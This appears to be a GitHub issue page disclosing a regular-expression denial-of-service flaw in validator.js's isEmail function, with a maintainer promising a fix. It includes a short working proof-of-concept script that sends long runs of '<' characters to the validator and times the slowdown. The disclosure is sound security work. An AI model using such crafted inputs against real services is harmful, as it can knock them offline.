Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ReDoS in isEmail #1597

Closed
yetingli opened this issue Feb 9, 2021 · 1 comment
Closed

ReDoS in isEmail #1597

yetingli opened this issue Feb 9, 2021 · 1 comment

Comments

@yetingli
Copy link

yetingli commented Feb 9, 2021

Describe the bug
It allows cause a Regular Expression Denial of Service (REDoS) when checking if the crafted string is an email.

Examples

var validator = require("validator")
function build_attack(n) {
	var ret = ""
	for (var i = 0; i < n; i++) {
		ret += "<"
	}

	return ret+"";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isEmail(attack_str,{ allow_display_name: true })
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Additional context
Validator.js version: 14.10.0
Node.js version:
OS platform: windows

@profnandaa
Copy link
Member

Same here, thanks @yetingli -- working on a fix this weekend.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

3 participants